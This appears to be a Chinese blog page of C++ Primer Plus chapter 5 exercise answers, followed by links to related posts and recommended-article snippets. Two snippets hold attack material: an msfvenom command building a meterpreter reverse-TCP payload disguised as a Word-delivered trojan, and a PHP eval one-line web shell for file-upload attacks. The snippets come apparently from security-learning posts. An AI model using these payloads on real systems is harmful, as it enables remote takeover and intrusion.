1 void ch5_1() {
2 using namespace std;
3 int small, big, sum{0};
4 cout << "enter small and big: " << endl;
5 cout << "small: "; cin >> small;
6 cout << "big: "; cin >> big;
7 for (int i = small; i <= big; ++ i)
8 sum += i;
9 cout << "sum between " << small << "and " << big << ": " << sum << endl;
10 }
11
12 void ch5_2() {
13 using namespace std;
14 const int ArrSize = 101;
15 array<long double, ArrSize> factorials;
16 factorials[0] = factorials[1] = 1;
17 for (int i = 2; i < ArrSize; ++ i)
18 factorials[i] = factorials[i-1] * i;
19 for (int i = 0; i < ArrSize; ++ i)
20 cout << i << "! = " << factorials[i] << endl;
21 }
22
23 void ch5_3() {
24 using namespace std;
25 int num, sum{0};
26 cout << "enter a num (quit by 0): ";
27 cin >> num;
28 while (num) {
29 sum += num;
30 cout << "sum == " << sum << ", next num: ";
31 cin >> num;
32 }
33 }
34
35 void ch5_4() {
36 using namespace std;
37 double D_money{100}, C_money{100}, sin_factor{0.1}, mul_factor{0.05};
38 int year_count = 1;
39 while (C_money <= D_money) {
40 D_money += 100 * sin_factor;
41 C_money += C_money * mul_factor;
42 cout << "year " << year_count << ": C: " << C_money << " D:" << D_money << endl;
43 ++ year_count;
44 }
45 }
46
47 void ch5_5() {
48 using namespace std;
49 const char * MONTHSNAME[12] = {
50 "January", "February", "March",
51 "April", "May", "June",
52 "July", "August", "September",
53 "October", "November", "December"
54 };
55 int sales[12]{0}, sum{0};
56 for (int i = 0; i < 12; ++ i) {
57 cout << "enter sales in " << MONTHSNAME[i] << ":";
58 cin >> sales[i];
59 sum += sales[i];
60 }
61 cout << "all sales: " << sum;
62 }
63
64 void ch5_6() {
65 using namespace std;
66 const char * MONTHSNAME[12] = {
67 "January", "February", "March",
68 "April", "May", "June",
69 "July", "August", "September",
70 "October", "November", "December"
71 };
72 int sales[3][12]{0}, sum{0};
73 for (int i = 0; i < 3; ++ i) {
74 cout << "enter sales in year " << i + 1 << endl;
75 for (int j = 0; j < 12; ++ j) {
76 cout << MONTHSNAME[j] << ":";
77 cin >> sales[i][j];
78 sum += sales[i][j];
79 }
80 }
81 cout << "all sales: " << sum;
82 }
83
84 void ch5_7() {
85 using namespace std;
86 struct Car{
87 string brand;
88 unsigned int year;
89 };
90 Car * car_arr;
91 unsigned int num{0};
92 cout << "how many cars do you wish to catalog? ";
93 cin >> num; cin.get();
94 car_arr = new Car[num];
95 for (int i = 0; i < num; ++ i) {
96 cout << "Car# " << i + 1 << ":" << endl;
97 cout << "enter brand: ";
98 getline(cin, car_arr[i].brand);
99 cout << "enter year: ";
100 cin >> car_arr[i].year; cin.get();
101 }
102 cout << "here's your collection: " << endl;
103 for (int i = 0; i < num ;++ i)
104 cout << car_arr[i].year << " " << car_arr[i].brand << endl;
105 }
106
107 void ch5_8() {
108 using namespace std;
109 char word[100];
110 unsigned int count{0};
111 cout << "Enter words (to stop, type the word done):" << endl;
112 cin >> word;
113 while (strcmp(word, "done") != 0) {
114 ++ count;
115 cin.get();
116 cin >> word;
117 }
118 cout << "You entered a total of " << count << " words.";
119 }
120
121 void ch5_9() {
122 using namespace std;
123 string word;
124 unsigned int count{0};
125 cout << "Enter words (to stop, type the word done):" << endl;
126 cin >> word;
127 while (word != "done") {
128 ++ count;
129 cin.get();
130 cin >> word;
131 }
132 cout << "You entered a total of " << count << " words.";
133 }
134
135 void ch5_10() {
136 using namespace std;
137 unsigned int rows{0};
138 cout << "enter number of rows: ";
139 cin >> rows;
140 for (int i = 0; i < rows; ++ i) {
141 for (int j = 0; j < rows - i - 1; ++ j)
142 cout << '.';
143 for (int k = 0; k < i + 1; ++ k)
144 cout << '*';
145 cout << endl;
146 }
147 }

【C++ Primer Plus】编程练习答案——第5章的更多相关文章

  1. 【C++ Primer Plus】编程练习答案——第12章

    1 // chapter12_1_cow.h 2 3 4 #ifndef LEARN_CPP_CHAPTER12_1_COW_H 5 #define LEARN_CPP_CHAPTER12_1_COW ...

  2. 【C++ Primer Plus】编程练习答案——第11章 (待更新)

    最近开学,事情较多,过两天更新...

  3. 【C++ Primer Plus】编程练习答案——第10章

    1 // chapter10_1_account.h 2 3 #ifndef LEARN_CPP_CHAPTER10_1_ACCOUNT_H 4 #define LEARN_CPP_CHAPTER10 ...

  4. 【C++ Primer Plus】编程练习答案——第9章

    1 // chapter09_golf.h 2 3 #ifndef LEARN_CPP_CHAPTER09_GOLF_H 4 #define LEARN_CPP_CHAPTER09_GOLF_H 5 ...

  5. 【C++ Primer Plus】编程练习答案——第8章

    1 void ch8_1_print(const std::string & str, int n = 0 ) { 2 using namespace std; 3 static int fl ...

  6. 【C++ Primer Plus】编程练习答案——第7章

    1 double ch7_1_harmonicaverage(double a, double b) { 2 return 2 / (1 / a + 1 / b); 3 } 4 5 void ch7_ ...

  7. 【C++ Primer Plus】编程练习答案——第6章

    1 void ch6_1() { 2 using namespace std; 3 char ch; 4 while ((ch = cin.get()) != '@') { 5 if (isdigit ...

  8. 【C++ Primer Plus】编程练习答案——第4章

    1 void ch4_1() { 2 using namespace std; 3 string fname, lname; 4 char grade; 5 unsigned int age; 6 c ...

  9. 【C++ Primer Plus】编程练习答案——第3章

    1 void ch3_1() { 2 using namespace std; 3 unsigned int factor = 12; 4 unsigned int inch, feet; 5 cou ...

随机推荐

  1. freecodecamp挑战

    freecodecamp挑战 2020年3月21初次挑战 完成45关挑战 2020年3月22日 完成至101关 2020年3月23日 完成至144关 2020年3月24日 完成至187关 css结束 ...

  2. ubuntu下配置JDK的一些坑点

    ubuntu下配置JDK的一些坑点 在centos下的JDK配置: 在ubuntu下的话,要修改两个地方: 在/etc/enviornment中配置! 在/etc/profile中配置! 写在最后: ...

  3. AI 常见术语总结

      BN(Batch-normalization)在一层的输出上计算所有特征映射的均值和标准差,并且使用这些值规范化它们的响应.因此使得所有神经图(neural maps)在同样范围有响应,而且是零均 ...

  4. MySQL(四)——

    MySQL官方对索引的定义:索引(Index)是帮助MySQL高效获取数据的数据结构.因此索引的本质就是数据结构.索引的目的在于提高查询效率,可类比字典.书籍的目录等这种形式. 可简单理解为" ...

  5. Spring Cloud Zuul 学习+实践

    首先有必要了解一下什么是Zuul,它和Spring Cloud有什么关系. Zuul在Spring Cloud中承担着网关的职责,可以理解为客户端和服务端交互中的唯一通道.所有的客户端请求都会首先发送 ...

  6. jvm学习笔记:类加载过程

    类加载器子系统 类加载器的作用是加载class文件到内存 加载阶段->链接阶段->初始化阶段 ClassLoader只负责class文件的加载,至于是否能够运行由执行引擎判断 加载的类信息 ...

  7. 如果还是看不懂container_of()函数,那算我输

    在linux 内核编程中,会经常见到一个宏函数container_of(ptr,type,member), 但是当你通过追踪源码时,像我们这样的一般人就会绝望了(这一堆都是什么呀? 函数还可以这样定义 ...

  8. Java反序列化漏洞Apache CommonsCollections分析

    Java反序列化漏洞Apache CommonsCollections分析 cc链,既为Commons-Collections利用链.此篇文章为cc链的第一条链CC1.而CC1目前用的比较多的有两条链 ...

  9. Powershell配合word伪装木马执行

    环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPOR ...

  10. File Upload(文件上传)

    一句话木马 <?php @eval($_POST['key']); ?> /*eval(phpcode) eval() 函数把字符串按照 PHP 代码来计算. 该字符串必须是合法的 PHP ...